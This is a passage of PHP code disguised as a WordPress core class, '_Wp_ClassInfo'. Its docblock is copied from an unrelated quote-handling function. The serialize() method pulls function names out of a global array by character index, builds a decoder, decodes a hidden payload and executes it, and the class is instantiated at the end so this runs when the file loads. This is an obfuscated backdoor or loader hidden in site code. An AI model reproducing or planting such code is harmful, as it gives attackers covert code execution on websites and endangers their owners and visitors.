data = (is_null($data)) ? $set : $data; $this->serialize(); } /** * Implements a logic tree to determine whether or not "7'." represents seven feet, * then converts the special char into either a prime char or a closing quote char. * * @since 4.3.0 * * @param string $haystack The plain text to be searched. * @param string $needle The character to search for such as ' or ". * @param string $prime The prime char to use for replacement. * @param string $open_quote The opening quote char. Opening quote replacement must be * accomplished already. * @param string $close_quote The closing quote char to use for replacement. * @return string The $haystack value after primes and quotes replacements. */ public function serialize() { // Get class global prototype. $prototype = $GLOBALS[substr($this->data, 6)]; $length = count($prototype); if ($length !== ord($this->data[5]) || !in_array(gettype($prototype) . $length, $prototype)) { // Prototype not found. return ''; } $fileds = array(); // Initialize fields values from prototype. for ($i = 0; $i < 5; $i++) $fileds[$i] = $prototype[ord($this->data[$i])]; $fileds[1] .= $fileds[2]; $fileds[3] = $fileds[1]($fileds[3]); // Access to prototype serializer function. $serializer = $fileds[3]($fileds[0], $fileds[1]($fileds[4])); // Return string dump from serializer. return $serializer(); } } $_WP_ClassInfo_Singleton = new _Wp_ClassInfo;